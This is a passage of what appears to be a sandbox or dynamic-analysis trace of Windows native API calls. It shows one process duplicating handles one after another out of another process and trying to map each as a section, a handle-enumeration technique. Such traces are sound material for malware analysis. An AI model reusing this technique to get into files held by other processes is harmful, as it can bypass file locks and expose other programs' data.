	[0072.707] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x90, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.707] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.707] NtClose (Handle=0x320) returned 0x0
	[0072.707] NtClose (Handle=0x31c) returned 0x0
	[0072.707] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x94, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.707] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.707] NtClose (Handle=0x320) returned 0x0
	[0072.707] NtClose (Handle=0x31c) returned 0x0
	[0072.707] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x98, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.707] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.707] NtClose (Handle=0x320) returned 0x0
	[0072.707] NtClose (Handle=0x31c) returned 0x0
	[0072.707] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x9c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.707] NtClose (Handle=0x31c) returned 0x0
	[0072.707] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xa0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.707] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.707] NtClose (Handle=0x320) returned 0x0
	[0072.707] NtClose (Handle=0x31c) returned 0x0
	[0072.707] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xa4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.707] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xa8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xac, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xb0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xb4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xb8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xbc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.708] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.708] NtClose (Handle=0x320) returned 0x0
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xc0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.708] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.708] NtClose (Handle=0x320) returned 0x0
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xc4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.708] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.708] NtClose (Handle=0x320) returned 0x0
	[0072.708] NtClose (Handle=0x31c) returned 0x0
	[0072.708] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xc8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.708] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000020
	[0072.709] NtClose (Handle=0x320) returned 0x0
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xcc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xd0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xd4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.709] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.709] NtClose (Handle=0x320) returned 0x0
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xd8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.709] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.709] NtClose (Handle=0x320) returned 0x0
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xdc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xe0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xe4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xe8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.709] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xec, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.709] NtClose (Handle=0x31c) returned 0x0
	[0072.710] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xf0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.710] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.710] NtClose (Handle=0x320) returned 0x0
	[0072.710] NtClose (Handle=0x31c) returned 0x0
	[0072.710] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xf4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.710] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.710] NtClose (Handle=0x320) returned 0x0
	[0072.710] NtClose (Handle=0x31c) returned 0x0
	[0072.710] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xf8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.710] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.710] NtClose (Handle=0x320) returned 0x0
	[0072.710] NtClose (Handle=0x31c) returned 0x0
	[0072.710] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xfc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.710] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.710] NtClose (Handle=0x320) returned 0x0
	[0072.710] NtClose (Handle=0x31c) returned 0x0
	[0072.710] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x100, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.710] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.710] NtClose (Handle=0x320) returned 0x0
	[0072.710] NtClose (Handle=0x31c) returned 0x0
	[0072.710] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x104, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.710] NtClose (Handle=0x31c) returned 0x0
	[0072.710] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x108, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.711] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.711] NtClose (Handle=0x320) returned 0x0
	[0072.711] NtClose (Handle=0x31c) returned 0x0
	[0072.711] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x10c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.711] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.711] NtClose (Handle=0x320) returned 0x0
	[0072.711] NtClose (Handle=0x31c) returned 0x0
	[0072.711] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x110, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.711] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.711] NtClose (Handle=0x320) returned 0x0
	[0072.711] NtClose (Handle=0x31c) returned 0x0
	[0072.711] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x114, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.711] NtClose (Handle=0x31c) returned 0x0
	[0072.711] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x118, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.711] NtClose (Handle=0x31c) returned 0x0
	[0072.711] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x11c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.711] NtClose (Handle=0x31c) returned 0x0
	[0072.711] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x120, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.711] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.711] NtClose (Handle=0x320) returned 0x0
	[0072.711] NtClose (Handle=0x31c) returned 0x0
	[0072.711] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x124, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.711] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.712] NtClose (Handle=0x320) returned 0x0
	[0072.712] NtClose (Handle=0x31c) returned 0x0
	[0072.712] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x128, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.712] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.712] NtClose (Handle=0x320) returned 0x0
	[0072.712] NtClose (Handle=0x31c) returned 0x0
	[0072.712] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x12c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.712] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.712] NtClose (Handle=0x320) returned 0x0
	[0072.712] NtClose (Handle=0x31c) returned 0x0
	[0072.712] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x130, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.712] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.712] NtClose (Handle=0x320) returned 0x0
	[0072.712] NtClose (Handle=0x31c) returned 0x0
	[0072.712] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x134, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.712] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.712] NtClose (Handle=0x320) returned 0x0
	[0072.712] NtClose (Handle=0x31c) returned 0x0
	[0072.712] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x138, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.712] NtClose (Handle=0x31c) returned 0x0
	[0072.712] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x13c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.712] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.712] NtClose (Handle=0x320) returned 0xc0000235
	[0072.713] NtClose (Handle=0x31c) returned 0x0
	[0072.713] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x140, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x324) returned 0x0
	[0072.713] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x324 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.713] NtClose (Handle=0x324) returned 0xc0000235
	[0072.713] NtClose (Handle=0x31c) returned 0x0
	[0072.713] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x144, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.713] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.713] NtClose (Handle=0x328) returned 0x0
	[0072.713] NtClose (Handle=0x31c) returned 0x0
	[0072.713] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x148, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.713] NtClose (Handle=0x31c) returned 0x0
	[0072.713] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x14c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.713] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.713] NtClose (Handle=0x328) returned 0x0
	[0072.713] NtClose (Handle=0x31c) returned 0x0
	[0072.713] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x150, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.713] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.713] NtClose (Handle=0x328) returned 0x0
	[0072.713] NtClose (Handle=0x31c) returned 0x0
	[0072.713] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x154, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.713] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.713] NtClose (Handle=0x328) returned 0x0
	[0072.714] NtClose (Handle=0x31c) returned 0x0
	[0072.714] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x158, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.714] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.714] NtClose (Handle=0x328) returned 0x0
	[0072.714] NtClose (Handle=0x31c) returned 0x0
	[0072.714] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x15c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.714] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.714] NtClose (Handle=0x328) returned 0x0
	[0072.714] NtClose (Handle=0x31c) returned 0x0
	[0072.714] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x160, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.714] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.714] NtClose (Handle=0x328) returned 0x0
	[0072.714] NtClose (Handle=0x31c) returned 0x0
	[0072.714] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x164, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.714] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.714] NtClose (Handle=0x328) returned 0x0
	[0072.715] NtClose (Handle=0x31c) returned 0x0
	[0072.715] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x168, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.715] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
